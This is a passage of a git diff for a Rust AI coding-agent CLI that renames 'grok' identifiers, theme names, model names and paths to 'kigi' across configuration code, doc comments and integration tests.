     fn mcp_json_all_toml_names_includes_disabled() {
         let tmp = tempfile::tempdir().unwrap();
-        let grok_dir = tmp.path().join(".kigi");
-        std::fs::create_dir_all(&grok_dir).unwrap();
+        let kigi_dir = tmp.path().join(".kigi");
+        std::fs::create_dir_all(&kigi_dir).unwrap();
         std::fs::write(
-            grok_dir.join("config.toml"),
+            kigi_dir.join("config.toml"),
             r#"
 [mcp_servers.enabled_one]
 url = "https://example.com"
diff --git a/crates/codegen/kigi-shell/src/util/config/permissions.rs b/crates/codegen/kigi-shell/src/util/config/permissions.rs
index 87ac532..2ac874f 100644
--- a/crates/codegen/kigi-shell/src/util/config/permissions.rs
+++ b/crates/codegen/kigi-shell/src/util/config/permissions.rs
@@ -344,7 +344,7 @@ mod tests {
 
     #[test]
     fn permission_mode_from_ui_if_set_none_when_no_keys() {
-        let theme: TomlValue = toml::from_str("[ui]\ntheme = \"groknight\"\n").unwrap();
+        let theme: TomlValue = toml::from_str("[ui]\ntheme = \"kiginight\"\n").unwrap();
         assert_eq!(
             permission_mode_from_ui_if_set(theme.get("ui").unwrap()),
             None,
@@ -459,7 +459,7 @@ mod tests {
                 "ask",
             ),
             // No permission keys → Ask.
-            ("[ui]\ntheme = \"groknight\"\n", PermissionMode::Ask, "ask"),
+            ("[ui]\ntheme = \"kiginight\"\n", PermissionMode::Ask, "ask"),
         ];
         for (toml_str, expected_mode, expected_canonical) in cases {
             let root: TomlValue = toml::from_str(toml_str).unwrap();
diff --git a/crates/codegen/kigi-shell/src/util/config/persist.rs b/crates/codegen/kigi-shell/src/util/config/persist.rs
index 95353e6..625200d 100644
--- a/crates/codegen/kigi-shell/src/util/config/persist.rs
+++ b/crates/codegen/kigi-shell/src/util/config/persist.rs
@@ -423,7 +423,7 @@ mod tests {
         ui.insert("show_timestamps".into(), TomlValue::Boolean(true));
         ui.insert(
             "auto_light_theme".into(),
-            TomlValue::String("grokday".into()),
+            TomlValue::String("kigiday".into()),
         );
         table.insert("ui".into(), TomlValue::Table(ui));
 
@@ -446,7 +446,7 @@ mod tests {
         );
         assert_eq!(
             ui.get("auto_light_theme").and_then(|v| v.as_str()),
-            Some("grokday"),
+            Some("kigiday"),
             "pre-existing field not in serialized output should be preserved"
         );
     }
@@ -619,7 +619,7 @@ mod tests {
 yolo = true
 show_timestamps = false
 auto_dark_theme = "tokyonight"
-auto_light_theme = "grokday"
+auto_light_theme = "kigiday"
 "#;
         let root: TomlValue = toml::from_str(toml_str).unwrap();
         let cfg = load_config_from_toml(&root);
@@ -627,7 +627,7 @@ auto_light_theme = "grokday"
         assert!(cfg.ui.yolo);
         assert_eq!(cfg.ui.show_timestamps, Some(false));
         assert_eq!(cfg.ui.auto_dark_theme.as_deref(), Some("tokyonight"));
-        assert_eq!(cfg.ui.auto_light_theme.as_deref(), Some("grokday"));
+        assert_eq!(cfg.ui.auto_light_theme.as_deref(), Some("kigiday"));
 
         // Simulate save_config: serialize back through merge_section
         let mut table = root.as_table().unwrap().clone();
@@ -644,7 +644,7 @@ auto_light_theme = "grokday"
         );
         assert_eq!(
             ui.get("auto_light_theme").and_then(|v| v.as_str()),
-            Some("grokday")
+            Some("kigiday")
         );
         assert_eq!(ui.get("yolo").and_then(|v| v.as_bool()), Some(true));
     }
@@ -730,10 +730,10 @@ auto_light_theme = "grokday"
 [ui]
 show_timestamps = true
 auto_dark_theme = "tokyonight"
-auto_light_theme = "grokday"
+auto_light_theme = "kigiday"
 
 [models]
-default = "grok-3"
+default = "kigi-3"
 
 [cli]
 auto_update = true
@@ -742,7 +742,7 @@ auto_update = true
         let mut cfg = load_config_from_toml(&root);
 
         // User changes default model (unrelated to UI)
-        cfg.models.default = Some("grok-4".to_string());
+        cfg.models.default = Some("kigi-4".to_string());
 
         // Simulate save_config
         let mut table = root.as_table().unwrap().clone();
@@ -763,14 +763,14 @@ auto_update = true
         );
         assert_eq!(
             ui.get("auto_light_theme").and_then(|v| v.as_str()),
-            Some("grokday")
+            Some("kigiday")
         );
 
         // Verify the model change went through
         let models = table.get("models").unwrap().as_table().unwrap();
         assert_eq!(
             models.get("default").and_then(|v| v.as_str()),
-            Some("grok-4")
+            Some("kigi-4")
         );
     }
 
@@ -823,7 +823,7 @@ auto_update = true
     #[test]
     fn models_config_serializes_only_some_fields() {
         let m = crate::agent::config::ModelsConfig {
-            default: Some("grok-3".to_string()),
+            default: Some("kigi-3".to_string()),
             ..Default::default()
         };
         let v = TomlValue::try_from(&m).expect("serialize ModelsConfig");
@@ -836,7 +836,7 @@ auto_update = true
             assert!(!t.contains_key("disabled_models"));
             assert!(!t.contains_key("allowed_models"));
             assert!(!t.contains_key("agent_type"));
-            assert_eq!(t.get("default").and_then(|x| x.as_str()), Some("grok-3"));
+            assert_eq!(t.get("default").and_then(|x| x.as_str()), Some("kigi-3"));
         } else {
             panic!("expected table from serialization");
         }
@@ -941,12 +941,12 @@ auto_update = true
         models.insert("unmodeled_foo".into(), TomlValue::String("keep-me".into()));
         table.insert("models".into(), TomlValue::Table(models));
         let cfg = crate::agent::config::ModelsConfig {
-            default: Some("grok-new".to_string()),
+            default: Some("kigi-new".to_string()),
             ..Default::default()
         };
         merge_section(&mut table, "models", &cfg);
         let m = table.get("models").unwrap().as_table().unwrap();
-        assert_eq!(m.get("default").and_then(|v| v.as_str()), Some("grok-new"));
+        assert_eq!(m.get("default").and_then(|v| v.as_str()), Some("kigi-new"));
         assert_eq!(
             m.get("session_summary").and_then(|v| v.as_str()),
             Some("old-title")
@@ -960,10 +960,10 @@ auto_update = true
 
     #[test]
     fn persist_preferred_model_flow_roundtrips_via_load_and_new_from_toml_cfg() {
-        let original = "[models]\ndefault = \"grok-old\"\n";
+        let original = "[models]\ndefault = \"kigi-old\"\n";
         let root: TomlValue = toml::from_str(original).unwrap();
         let mut cfg = load_config_from_toml(&root);
-        cfg.models.default = Some("grok-persisted".to_string());
+        cfg.models.default = Some("kigi-persisted".to_string());
         let mut table = if let TomlValue::Table(t) = root {
             t
         } else {
@@ -972,10 +972,10 @@ auto_update = true
         merge_section(&mut table, "models", &cfg.models);
         let reloaded_root = TomlValue::Table(table);
         let reloaded = load_config_from_toml(&reloaded_root);
-        assert_eq!(reloaded.models.default.as_deref(), Some("grok-persisted"));
+        assert_eq!(reloaded.models.default.as_deref(), Some("kigi-persisted"));
         let cfg2 = crate::agent::config::Config::new_from_toml_cfg(&reloaded_root)
             .expect("new_from_toml_cfg");
-        assert_eq!(cfg2.models.default.as_deref(), Some("grok-persisted"));
+        assert_eq!(cfg2.models.default.as_deref(), Some("kigi-persisted"));
     }
 
     // ── merge_section pin tests for CLI/session setters ──────────────────
@@ -1116,8 +1116,8 @@ auto_update = true
         use crate::agent::config::{Config, ConfigModelOverride, ModelInfo};
         use std::sync::Mutex;
 
-        const TEST_MODEL: &str = "grok-4.5";
-        const OTHER_MODEL: &str = "grok-4.3";
+        const TEST_MODEL: &str = "kigi-4.5";
+        const OTHER_MODEL: &str = "kigi-4.3";
 
         /// Serialize tests that mutate `KIGI_AUTO_COMPACT_THRESHOLD_PERCENT`.
         static ENV_LOCK: Mutex<()> = Mutex::new(());
@@ -1453,8 +1453,8 @@ auto_update = true
         // `cfg.ui.auto_{dark,light}_theme = Some(value)`.
         let cfg = apply(|cfg| cfg.ui.auto_dark_theme = Some("tokyonight".to_string()));
         assert_eq!(cfg.ui.auto_dark_theme, Some("tokyonight".to_string()));
-        let cfg = apply(|cfg| cfg.ui.auto_light_theme = Some("grokday".to_string()));
-        assert_eq!(cfg.ui.auto_light_theme, Some("grokday".to_string()));
+        let cfg = apply(|cfg| cfg.ui.auto_light_theme = Some("kigiday".to_string()));
+        assert_eq!(cfg.ui.auto_light_theme, Some("kigiday".to_string()));
 
         // set_hunk_tracker_mode wraps `cfg.ui.hunk_tracker_mode = Some(value)`.
         let cfg = apply(|cfg| cfg.ui.hunk_tracker_mode = Some("off".to_string()));
@@ -1475,7 +1475,7 @@ auto_update = true
         let original = r#"
 [ui]
 compact_mode = true
-theme = "groknight"
+theme = "kiginight"
 auto_dark_theme = "tokyonight"
 custom_user_key = "preserve-me"
 "#;
@@ -1516,8 +1516,8 @@ custom_user_key = "preserve-me"
         let original = r#"
 [ui]
 theme = "auto"
-auto_dark_theme = "groknight"
-auto_light_theme = "grokday"
+auto_dark_theme = "kiginight"
+auto_light_theme = "kigiday"
 custom_unknown_key = 42
 "#;
         let root: TomlValue = toml::from_str(original).unwrap();
diff --git a/crates/codegen/kigi-shell/src/util/config/resolve/compaction.rs b/crates/codegen/kigi-shell/src/util/config/resolve/compaction.rs
index 662fefb..d75da81 100644
--- a/crates/codegen/kigi-shell/src/util/config/resolve/compaction.rs
+++ b/crates/codegen/kigi-shell/src/util/config/resolve/compaction.rs
@@ -19,11 +19,11 @@ pub(crate) const ENV_AUTO_COMPACT_THRESHOLD_PERCENT: &str = "KIGI_AUTO_COMPACT_T
 ///   3. user TOML `[session].auto_compact_threshold_percent`
 ///      (read from `cfg.session.auto_compact_threshold_percent: Option<u8>`)
 ///   4. remote settings per-model `ModelInfo.auto_compact_threshold_percent`
-///      (populated from `grok_build_models[i].auto_compact_threshold_percent`;
+///      (populated from `kigi_models[i].auto_compact_threshold_percent`;
 ///      intentionally NOT collapsed via `ConfigModelOverride::apply` so the
 ///      user-vs-GB per-model distinction is preserved)
 ///   5. remote settings global `RemoteSettings.auto_compact_threshold_percent`
-///      (populated from `grok_build_settings.auto_compact_threshold_percent`)
+///      (populated from `kigi_settings.auto_compact_threshold_percent`)
 ///   6. default `DEFAULT_AUTO_COMPACT_THRESHOLD_PERCENT` (85)
 ///
 /// Values outside `0..=100` from the env var are ignored with a debug log and
diff --git a/crates/codegen/kigi-shell/src/util/config/resolve/mcp.rs b/crates/codegen/kigi-shell/src/util/config/resolve/mcp.rs
index 9b210f7..6cab6df 100644
--- a/crates/codegen/kigi-shell/src/util/config/resolve/mcp.rs
+++ b/crates/codegen/kigi-shell/src/util/config/resolve/mcp.rs
@@ -163,7 +163,7 @@ pub const DEFAULT_MCP_STARTUP_TIMEOUT_SECS: u64 = 30;
 /// Env override for the MCP startup timeout, in milliseconds (shared with
 /// common third-party tooling, so an existing setting carries over).
 const ENV_MCP_TIMEOUT_MS: &str = "MCP_TIMEOUT";
-/// Env override for the MCP startup timeout, in seconds (grok-native).
+/// Env override for the MCP startup timeout, in seconds (kigi-native).
 const ENV_MCP_STARTUP_TIMEOUT_SECS: &str = "KIGI_MCP_STARTUP_TIMEOUT_SECS";
 
 /// Cached remote settings `mcp_startup_timeout_secs` (`0` = unset). MCP servers start
@@ -300,7 +300,7 @@ fn max_mcp_output_bytes_from_toml(v: &toml::Value) -> Option<usize> {
 /// Precedence (highest first):
 ///   1. requirements.toml `[mcp] max_output_bytes`
 ///   2. env `KIGI_MAX_MCP_OUTPUT_BYTES` / `MAX_MCP_OUTPUT_BYTES`
-///      (Grok-native wins when both set)
+///      (Kigi-native wins when both set)
 ///   3. effective `config.toml [mcp] max_output_bytes`
 ///   4. remote settings `RemoteSettings.max_mcp_output_bytes`
 ///   5. [`DEFAULT_MAX_MCP_OUTPUT_BYTES`] (20_000)
diff --git a/crates/codegen/kigi-shell/src/util/config/resolve/system_prompt.rs b/crates/codegen/kigi-shell/src/util/config/resolve/system_prompt.rs
index 6196f18..5717ec0 100644
--- a/crates/codegen/kigi-shell/src/util/config/resolve/system_prompt.rs
+++ b/crates/codegen/kigi-shell/src/util/config/resolve/system_prompt.rs
@@ -4,7 +4,7 @@ pub const DEFAULT_SYSTEM_PROMPT_LABEL: &str = kigi_agent::DEFAULT_SYSTEM_PROMPT_
 
 /// Resolve system-prompt identity label.
 /// Precedence: env → config per-model → `[agent]` → GB per-model → GB global →
-/// `"Grok"`. Empty/whitespace falls through.
+/// `"Kigi"`. Empty/whitespace falls through.
 ///
 /// Per-model TOML is looked up by session catalog id, then routing slug
 /// (`ModelInfo.model`). Do not use CLI `-m` alone — it may outlive a mid-session
diff --git a/crates/codegen/kigi-shell/src/util/config/resolve/toolset.rs b/crates/codegen/kigi-shell/src/util/config/resolve/toolset.rs
index 8ca61c8..2318d7b 100644
--- a/crates/codegen/kigi-shell/src/util/config/resolve/toolset.rs
+++ b/crates/codegen/kigi-shell/src/util/config/resolve/toolset.rs
@@ -1,5 +1,5 @@
 use crate::util::config::RemoteSettings;
-use kigi_tools::implementations::grok_build::ask_user_question;
+use kigi_tools::implementations::kigi::ask_user_question;
 use toml::Value as TomlValue;
 
 /// Resolve whether the bash-harness `find`→`bfs` / `grep`→`ugrep` shadows are
@@ -287,9 +287,7 @@ fn resolve_ask_user_question_timeout_secs_from_tiers(
         .or(config)
         .or(managed)
         .or(remote)
-        .unwrap_or(
-            kigi_tools::implementations::grok_build::ask_user_question::RESPONSE_TIMEOUT.as_secs(),
-        )
+        .unwrap_or(kigi_tools::implementations::kigi::ask_user_question::RESPONSE_TIMEOUT.as_secs())
 }
 
 /// Resolve `[toolset.ask_user_question] timeout_secs` (positive seconds).
@@ -307,7 +305,7 @@ fn resolve_ask_user_question_timeout_secs(
 ) -> u64 {
     resolve_ask_user_question_timeout_secs_from_tiers(
         ask_user_question_timeout_secs_from_toml(requirements),
-        kigi_tools::implementations::grok_build::ask_user_question::response_timeout_env_secs(),
+        kigi_tools::implementations::kigi::ask_user_question::response_timeout_env_secs(),
         ask_user_question_timeout_secs_from_toml(user),
         ask_user_question_timeout_secs_from_toml(managed)
             .or_else(|| ask_user_question_timeout_secs_from_toml(system_managed)),
@@ -326,7 +324,7 @@ fn resolve_ask_user_question_timeout_secs(
 /// runs for consumers that skip this resolver.
 pub(crate) fn resolve_ask_user_question_params_from_disk(
     remote: Option<&RemoteSettings>,
-) -> kigi_tools::implementations::grok_build::ask_user_question::AskUserQuestionParams {
+) -> kigi_tools::implementations::kigi::ask_user_question::AskUserQuestionParams {
     let requirements = crate::config::load_merged_requirements();
     let layers = match crate::config::ConfigLayers::load() {
         Ok(l) => Some(l),
@@ -338,7 +336,7 @@ pub(crate) fn resolve_ask_user_question_params_from_disk(
     let user = layers.as_ref().map(|l| &l.user);
     let managed = layers.as_ref().map(|l| &l.managed);
     let system_managed = layers.as_ref().map(|l| &l.system_managed);
-    kigi_tools::implementations::grok_build::ask_user_question::AskUserQuestionParams {
+    kigi_tools::implementations::kigi::ask_user_question::AskUserQuestionParams {
         timeout_enabled: Some(
             resolve_ask_user_question_timeout_enabled(
                 requirements.as_ref(),
@@ -363,7 +361,7 @@ pub(crate) fn resolve_ask_user_question_params_from_disk(
 mod ask_user_question_timeout_tests {
     use super::*;
     use crate::agent::config::ConfigSource;
-    use kigi_tools::implementations::grok_build::ask_user_question::RESPONSE_TIMEOUT_ENV;
+    use kigi_tools::implementations::kigi::ask_user_question::RESPONSE_TIMEOUT_ENV;
 
     // Both env vars are process-global (a dev exports the secs var for TUI
     // repro); serialize and force them unset so these tests can't go flaky.
@@ -439,8 +437,7 @@ mod ask_user_question_timeout_tests {
 
     #[test]
     fn timeout_secs_tier_precedence() {
-        let d =
-            kigi_tools::implementations::grok_build::ask_user_question::RESPONSE_TIMEOUT.as_secs();
+        let d = kigi_tools::implementations::kigi::ask_user_question::RESPONSE_TIMEOUT.as_secs();
         let r = resolve_ask_user_question_timeout_secs_from_tiers;
         assert_eq!(r(None, None, None, None, None), d);
         assert_eq!(r(Some(1), Some(2), Some(3), Some(4), Some(5)), 1); // requirements highest
@@ -453,8 +450,7 @@ mod ask_user_question_timeout_tests {
     #[test]
     fn timeout_secs_rejects_non_positive_layers() {
         let _g = guard();
-        let d =
-            kigi_tools::implementations::grok_build::ask_user_question::RESPONSE_TIMEOUT.as_secs();
+        let d = kigi_tools::implementations::kigi::ask_user_question::RESPONSE_TIMEOUT.as_secs();
         // user 0 and managed negative are dropped; remote fills the gap.
         let zero = toml_ask("timeout_secs = 0");
         let negative = toml_ask("timeout_secs = -5");
diff --git a/crates/codegen/kigi-shell/src/util/config/settings_writes.rs b/crates/codegen/kigi-shell/src/util/config/settings_writes.rs
index f78b3d8..7598b3a 100644
--- a/crates/codegen/kigi-shell/src/util/config/settings_writes.rs
+++ b/crates/codegen/kigi-shell/src/util/config/settings_writes.rs
@@ -61,7 +61,7 @@ pub async fn set_contextual_hint_word_select(value: bool) -> Result<()> {
 }
 
 /// Persist `[ui].theme` via `update_config`. Caller must pass the
-/// canonical theme name (`groknight`, `tokyonight`, `auto`, etc.).
+/// canonical theme name (`kiginight`, `tokyonight`, `auto`, etc.).
 pub async fn set_theme(value: String) -> Result<()> {
     update_config(|cfg| cfg.ui.theme = Some(value)).await
 }
diff --git a/crates/codegen/kigi-shell/src/util/config/worktree.rs b/crates/codegen/kigi-shell/src/util/config/worktree.rs
index b699db1..cc448a9 100644
--- a/crates/codegen/kigi-shell/src/util/config/worktree.rs
+++ b/crates/codegen/kigi-shell/src/util/config/worktree.rs
@@ -180,7 +180,7 @@ auto_update = true
     fn test_worktree_type_no_cli_section() {
         let toml_str = r#"
 [models]
-default = "grok-code-fast-1"
+default = "kigi-code-fast-1"
 "#;
         let root: TomlValue = toml::from_str(toml_str).unwrap();
         assert_eq!(worktree_type_from_toml(&root), WorktreeType::Linked);
@@ -232,7 +232,7 @@ worktree_type = "invalid"
 
     #[test]
     fn test_worktree_type_from_toml_opt_no_cli_section() {
-        let root: TomlValue = toml::from_str("[models]\ndefault = \"grok\"").unwrap();
+        let root: TomlValue = toml::from_str("[models]\ndefault = \"kigi\"").unwrap();
         assert_eq!(worktree_type_from_toml_opt(&root), None);
     }
 
@@ -319,7 +319,7 @@ worktree_type = "invalid"
 
     #[test]
     fn test_restore_code_from_toml_no_cli_section() {
-        let root: TomlValue = toml::from_str("[models]\ndefault = \"grok\"").unwrap();
+        let root: TomlValue = toml::from_str("[models]\ndefault = \"kigi\"").unwrap();
         assert_eq!(restore_code_from_toml(&root), None);
     }
 
diff --git a/crates/codegen/kigi-shell/src/util/hooks.rs b/crates/codegen/kigi-shell/src/util/hooks.rs
index bb13415..077f911 100644
--- a/crates/codegen/kigi-shell/src/util/hooks.rs
+++ b/crates/codegen/kigi-shell/src/util/hooks.rs
@@ -51,18 +51,18 @@ pub fn discover_hook_source_paths(
     let home = dirs::home_dir();
     // user_kigi_home() is None when no home resolves, so inspect lists the same
     // sources a live session loads, instead of a cwd-relative .kigi.
-    let grok = kigi_config::user_kigi_home();
+    let kigi = kigi_config::user_kigi_home();
     let mut global = Vec::new();
 
     if !skip_claude && let Some(ref h) = home {
         global.push(h.join(".claude").join("settings.json"));
         global.push(h.join(".claude").join("settings.local.json"));
     }
-    if let Some(ref grok) = grok {
-        global.push(grok.join("hooks"));
+    if let Some(ref kigi) = kigi {
+        global.push(kigi.join("hooks"));
     }
 
-    let custom_paths: Vec<PathBuf> = grok
+    let custom_paths: Vec<PathBuf> = kigi
         .as_ref()
         .and_then(|g| std::fs::read_to_string(g.join("hooks-paths")).ok())
         .map(|content| {
diff --git a/crates/codegen/kigi-shell/src/util/kigi_auth_credentials.rs b/crates/codegen/kigi-shell/src/util/kigi_auth_credentials.rs
index ccb7aea..3f645cb 100644
--- a/crates/codegen/kigi-shell/src/util/kigi_auth_credentials.rs
+++ b/crates/codegen/kigi-shell/src/util/kigi_auth_credentials.rs
@@ -1,6 +1,6 @@
 use reqwest::RequestBuilder;
 use std::sync::Arc;
-/// Credentials for authenticating with grok backend services.
+/// Credentials for authenticating with kigi backend services.
 ///
 /// Two construction modes:
 /// - `with_auth_manager(am)` — live mode. `resolve_async()` drives
diff --git a/crates/codegen/kigi-shell/tests/git_contention_e2e.rs b/crates/codegen/kigi-shell/tests/git_contention_e2e.rs
index e115f79..c5f6d8b 100644
--- a/crates/codegen/kigi-shell/tests/git_contention_e2e.rs
+++ b/crates/codegen/kigi-shell/tests/git_contention_e2e.rs
@@ -11,7 +11,7 @@
 //!    picks chain back to back, reproducing the continuous
 //!    `.git/index.lock` / HEAD-move churn of an agent-run rebase.
 //!
-//! With the fs-watch machinery on (`x.ai/hunkTracker` + `x.ai/gitHeadChanged`
+//! With the fs-watch machinery on (`kigi/hunkTracker` + `kigi/gitHeadChanged`
 //! advertised), fsnotify merges rapid lock cycles into one operation and the
 //! session defers debounce fires while an op is in flight, so one rebase
 //! costs at most a couple of `refresh_all_baselines` scans (each scoped to
@@ -425,7 +425,7 @@ fn git_rebase_refresh_storm_e2e() {
     let server = mock_rt
         .block_on(MockInferenceServer::start())
         .expect("mock server");
-    let kigi_home = TempDir::new().expect("grok home");
+    let kigi_home = TempDir::new().expect("kigi home");
 
     // SAFETY: the only live threads are the mock runtime's workers, which
     // serve HTTP and never read the process environment.
@@ -450,8 +450,8 @@ fn git_rebase_refresh_storm_e2e() {
     let on = agent_rt.block_on(run_storm(
         &server,
         Some(json!({
-            "x.ai/hunkTracker": { "mode": "agent_only" },
-            "x.ai/gitHeadChanged": true,
+            "kigi/hunkTracker": { "mode": "agent_only" },
+            "kigi/gitHeadChanged": true,
         })),
         &counter,
         "machinery-on",
diff --git a/crates/codegen/kigi-shell/tests/memory_integration/run_tests.py b/crates/codegen/kigi-shell/tests/memory_integration/run_tests.py
index 869dfc9..9e2223a 100755
--- a/crates/codegen/kigi-shell/tests/memory_integration/run_tests.py
+++ b/crates/codegen/kigi-shell/tests/memory_integration/run_tests.py
@@ -3,7 +3,7 @@
 """
 Memory System Integration Tests — Full Suite.
 
-Launches grok agent stdio in isolated environments ($HOME override)
+Launches kigi agent stdio in isolated environments ($HOME override)
 with pre-populated memory files. Tests the entire memory lifecycle:
 indexing, search, embeddings, flush, session-end, compaction, pruning.
 
@@ -67,7 +67,7 @@ def section(t):
 
 
 class AcpClient:
-    """Talks ACP (JSON-RPC over NDJSON) to a grok agent stdio subprocess."""
+    """Talks ACP (JSON-RPC over NDJSON) to a kigi agent stdio subprocess."""
 
     def __init__(self, proc, cwd=None):
         self.proc = proc
@@ -163,38 +163,38 @@ class AcpClient:
 
 
 class IsolatedEnv:
-    """Creates a fully isolated grok environment with custom $HOME.
+    """Creates a fully isolated kigi environment with custom $HOME.
 
     The agent subprocess gets a fake $HOME with:
-      ~/.grok/auth.json   (copied from real home)
-      ~/.grok/memory/     (pre-populated by tests)
-      ~/.grok/logs/       (memory.log appears here)
+      ~/.kigi/auth.json   (copied from real home)
+      ~/.kigi/memory/     (pre-populated by tests)
+      ~/.kigi/logs/       (memory.log appears here)
 
     And a workspace directory used as cwd when spawning the agent.
     """
 
     def __init__(self, workspace_name="test-project"):
-        self.root = tempfile.mkdtemp(prefix="grok-memtest-")
+        self.root = tempfile.mkdtemp(prefix="kigi-memtest-")
         self.fake_home = os.path.join(self.root, "home")
         self.workspace = os.path.join(self.root, "workspace", workspace_name)
         os.makedirs(self.fake_home)
         os.makedirs(self.workspace)
 
-        # Create .grok dirs in fake home
-        self.grok_home = os.path.join(self.fake_home, ".grok")
-        self.memory_dir = os.path.join(self.grok_home, "memory")
-        self.logs_dir = os.path.join(self.grok_home, "logs")
+        # Create .kigi dirs in fake home
+        self.kigi_home = os.path.join(self.fake_home, ".kigi")
+        self.memory_dir = os.path.join(self.kigi_home, "memory")
+        self.logs_dir = os.path.join(self.kigi_home, "logs")
         os.makedirs(self.memory_dir)
         os.makedirs(self.logs_dir)
 
         # Copy auth from real home
-        real_auth = os.path.expanduser("~/.grok/auth.json")
+        real_auth = os.path.expanduser("~/.kigi/auth.json")
         if os.path.isfile(real_auth):
-            shutil.copy2(real_auth, os.path.join(self.grok_home, "auth.json"))
+            shutil.copy2(real_auth, os.path.join(self.kigi_home, "auth.json"))
 
     def write_config(self, toml_str):
-        """Write global ~/.grok/config.toml (where the agent reads config)."""
-        with open(os.path.join(self.grok_home, "config.toml"), "w") as f:
+        """Write global ~/.kigi/config.toml (where the agent reads config)."""
+        with open(os.path.join(self.kigi_home, "config.toml"), "w") as f:
             f.write(toml_str)
 
     def write_global_memory(self, content):
@@ -266,9 +266,9 @@ class IsolatedEnv:
         return sorted(files)
 
     def spawn_agent(self, extra_env=None):
-        binary = os.environ.get("KIGI_BINARY", "grok")
+        binary = os.environ.get("KIGI_BINARY", "kigi")
         if not shutil.which(binary) and not os.path.isfile(binary):
-            print(f"{R}grok binary not found: {binary}{N}")
+            print(f"{R}kigi binary not found: {binary}{N}")
             sys.exit(1)
         env = os.environ.copy()
         env["HOME"] = self.fake_home
@@ -671,7 +671,7 @@ def test_fts_special_characters():
 * Use C++ for performance-critical code
 * Configure with --enable-feature=fast_path
 * Email: dev@example.com
-* Path: /usr/local/bin/grok
+* Path: /usr/local/bin/kigi
 * Version >= 2.0.0
 """)
         client = env.spawn_agent()
@@ -1344,10 +1344,10 @@ def test_multiple_workspace_isolation():
         beta_workspace = os.path.join(env1.root, "workspace", "project-beta")
         os.makedirs(beta_workspace, exist_ok=True)
 
-        # Config is already in global ~/.grok/config.toml from env1.write_config
+        # Config is already in global ~/.kigi/config.toml from env1.write_config
 
         # Start agent in workspace beta (reuse env1's fake home)
-        binary = os.environ.get("KIGI_BINARY", "grok")
+        binary = os.environ.get("KIGI_BINARY", "kigi")
         env_vars = os.environ.copy()
         env_vars["HOME"] = env1.fake_home
         env_vars["KIGI_MEMORY"] = "1"
diff --git a/crates/codegen/kigi-shell/tests/signed_managed_config_extended.rs b/crates/codegen/kigi-shell/tests/signed_managed_config_extended.rs
index ae8b8aa..46378d6 100644
--- a/crates/codegen/kigi-shell/tests/signed_managed_config_extended.rs
+++ b/crates/codegen/kigi-shell/tests/signed_managed_config_extended.rs
@@ -83,7 +83,7 @@ async fn empty_dk_response_marker_binds_the_verified_deployment_id() {
     assert!(kigi_shell::managed_config::managed_policy_gate().is_ok());
 }
 
-/// A signature-rejected sync surfaces as failure in BOTH `grok setup` and the
+/// A signature-rejected sync surfaces as failure in BOTH `kigi setup` and the
 /// post-login sync — never as Installed/NoChange while nothing was persisted.
 #[tokio::test]
 #[serial]
diff --git a/crates/codegen/kigi-shell/tests/test_agent_type_invariant.rs b/crates/codegen/kigi-shell/tests/test_agent_type_invariant.rs
index c78e90e..ecb999b 100644
--- a/crates/codegen/kigi-shell/tests/test_agent_type_invariant.rs
+++ b/crates/codegen/kigi-shell/tests/test_agent_type_invariant.rs
@@ -9,7 +9,7 @@
 //! - Same-type model switching (no rebuild)
 //! - Session resume
 //!
-//! Each test spawns a real `grok agent stdio` process, speaks the full ACP
+//! Each test spawns a real `kigi agent stdio` process, speaks the full ACP
 //! protocol, and asserts on the inference request bodies (system prompt) and
 //! stderr tracing output to verify the correct harness was used.
 //!
@@ -39,7 +39,7 @@ fn invalidate_models_cache(home: &std::path::Path) {
     }
 }
 /// Start a mock server with two models:
-/// - `default-model`: no agent_type (→ defaults to "grok-build")
+/// - `default-model`: no agent_type (→ defaults to "kigi")
 async fn dual_model_server() -> MockInferenceServer {
     MockInferenceServer::start_with_models(vec![
         MockModelEntry::new("default-model"),
@@ -49,8 +49,8 @@ async fn dual_model_server() -> MockInferenceServer {
     .expect("start mock server")
 }
 /// Start a mock server with two models that share the same agent_type:
-/// - `model-a`: no agent_type (→ "grok-build")
-/// - `model-b`: no agent_type (→ "grok-build")
+/// - `model-a`: no agent_type (→ "kigi")
+/// - `model-b`: no agent_type (→ "kigi")
 async fn same_type_server() -> MockInferenceServer {
     MockInferenceServer::start_with_models(vec![
         MockModelEntry::new("model-a"),
@@ -60,17 +60,17 @@ async fn same_type_server() -> MockInferenceServer {
     .expect("start mock server")
 }
 /// Session created with a model that has no `agent_type` should use the
-/// `grok-build` harness. The system prompt sent to the LLM should contain
-/// the grok-build identity string.
+/// `kigi` harness. The system prompt sent to the LLM should contain
+/// the kigi identity string.
 #[tokio::test]
 #[ignore]
-async fn test_default_model_uses_grok_build_harness() {
+async fn test_default_model_uses_kigi_harness() {
     with_local_set(|| async {
         let server = MockInferenceServer::start()
             .await
             .expect("start mock server");
         let workdir = git_workdir();
-        let client = GrokStdioClient::spawn(&server, workdir.path()).await;
+        let client = KigiStdioClient::spawn(&server, workdir.path()).await;
         client.initialize_with_timeout().await;
         let session_id = client.create_session_with_timeout(workdir.path()).await;
         let result = client.prompt_with_timeout(&session_id, "say hello").await;
@@ -79,8 +79,8 @@ async fn test_default_model_uses_grok_build_harness() {
             .last_system_prompt()
             .expect("should have at least one inference request");
         assert!(
-            sys_prompt.contains("Grok") || sys_prompt.contains("grok"),
-            "default model should use grok-build harness\nsystem prompt preview: {}",
+            sys_prompt.contains("Kigi") || sys_prompt.contains("kigi"),
+            "default model should use kigi harness\nsystem prompt preview: {}",
             &sys_prompt[..sys_prompt.len().min(500)]
         );
     })
@@ -94,7 +94,7 @@ async fn test_same_type_model_switch_no_rebuild() {
     with_local_set(|| async {
         let server = same_type_server().await;
         let workdir = git_workdir();
-        let client = GrokStdioClient::spawn(&server, workdir.path()).await;
+        let client = KigiStdioClient::spawn(&server, workdir.path()).await;
         client.initialize_with_timeout().await;
         let session_id = client
             .create_session_with_model_timeout(workdir.path(), "model-a")
@@ -128,7 +128,7 @@ async fn test_session_resume_preserves_harness() {
             .await
             .expect("start mock server");
         let workdir = git_workdir();
-        let mut writer = GrokStdioClient::spawn(&server, workdir.path()).await;
+        let mut writer = KigiStdioClient::spawn(&server, workdir.path()).await;
         writer.initialize_with_timeout().await;
         let session_id = writer.create_session_with_timeout(workdir.path()).await;
         let result = writer.prompt_with_timeout(&session_id, "say hello").await;
@@ -139,7 +139,7 @@ async fn test_session_resume_preserves_harness() {
         let shared_home = writer.take_home();
         invalidate_models_cache(shared_home.path());
         drop(writer);
-        let reader = GrokStdioClient::spawn_with_home(&server, workdir.path(), shared_home).await;
+        let reader = KigiStdioClient::spawn_with_home(&server, workdir.path(), shared_home).await;
         reader.initialize_with_timeout().await;
         let _ = reader
